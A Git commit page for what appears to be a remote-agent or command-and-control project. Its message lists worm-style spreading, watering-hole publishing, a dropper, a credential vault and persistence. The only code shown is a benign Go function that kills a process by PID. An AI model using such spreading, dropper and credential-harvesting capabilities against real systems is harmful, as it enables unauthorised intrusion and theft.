feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
28
agent/client/kill_process.go
Normal file
28
agent/client/kill_process.go
Normal file
@@ -0,0 +1,28 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func killProcessByPID(pidStr string) (bool, string) {
|
||||
pid, err := strconv.Atoi(strings.TrimSpace(pidStr))
|
||||
if err != nil || pid <= 0 {
|
||||
return false, "invalid pid: " + pidStr
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
out, err := silentCombinedOutput("taskkill", "/F", "/PID", fmt.Sprintf("%d", pid))
|
||||
if err != nil {
|
||||
return false, formatCmdErr(err, out)
|
||||
}
|
||||
return true, strings.TrimSpace(string(out))
|
||||
}
|
||||
out, err := exec.Command("kill", "-9", fmt.Sprintf("%d", pid)).CombinedOutput()
|
||||
if err != nil {
|
||||
return false, formatCmdErr(err, out)
|
||||
}
|
||||
return true, strings.TrimSpace(string(out))
|
||||
}
|
||||
Reference in New Issue
Block a user